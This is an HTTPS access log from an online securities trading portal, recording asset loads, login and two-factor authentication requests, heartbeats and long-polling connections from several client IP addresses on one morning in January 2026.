[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767923376232 HTTP/1.1" 3188
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apple-touch-icon-precomposed.png HTTP/1.1" 196
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apple-touch-icon.png HTTP/1.1" 196
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:45:07 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:09:45:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923376301 HTTP/1.1" -
[09/Jan/2026:09:45:08 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:08 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:45:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923392611 HTTP/1.1" -
[09/Jan/2026:09:45:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923381269 HTTP/1.1" -
[09/Jan/2026:09:45:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923379050 HTTP/1.1" -
[09/Jan/2026:09:45:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923379928 HTTP/1.1" -
[09/Jan/2026:09:45:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:45:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923382302 HTTP/1.1" -
[09/Jan/2026:09:45:13 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:09:45:13 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:09:45:13 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:45:13 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:45:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923398224 HTTP/1.1" -
[09/Jan/2026:09:45:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923386405 HTTP/1.1" -
[09/Jan/2026:09:45:13 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 464
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767923384549 HTTP/1.1" 3188
[09/Jan/2026:09:45:15 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:09:45:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923384976 HTTP/1.1" -
[09/Jan/2026:09:45:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923385047 HTTP/1.1" -
[09/Jan/2026:09:45:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923388292 HTTP/1.1" -
[09/Jan/2026:09:45:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923403266 HTTP/1.1" -
[09/Jan/2026:09:45:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923391573 HTTP/1.1" -
[09/Jan/2026:09:45:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923390012 HTTP/1.1" -
[09/Jan/2026:09:45:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:45:22 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923391047 HTTP/1.1" -
[09/Jan/2026:09:45:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923408317 HTTP/1.1" -
[09/Jan/2026:09:45:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923396708 HTTP/1.1" -
[09/Jan/2026:09:45:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923394302 HTTP/1.1" -
[09/Jan/2026:09:45:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923395054 HTTP/1.1" -
[09/Jan/2026:09:45:28 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923397049 HTTP/1.1" -
[09/Jan/2026:09:45:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:45:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:45:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:45:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923413380 HTTP/1.1" -
[09/Jan/2026:09:45:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923401833 HTTP/1.1" -
[09/Jan/2026:09:45:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923400079 HTTP/1.1" -
[09/Jan/2026:09:45:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923400304 HTTP/1.1" -
[09/Jan/2026:09:45:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923418447 HTTP/1.1" -
[09/Jan/2026:09:45:34 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 428
[09/Jan/2026:09:45:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923403058 HTTP/1.1" -
[09/Jan/2026:09:45:34 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:45:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
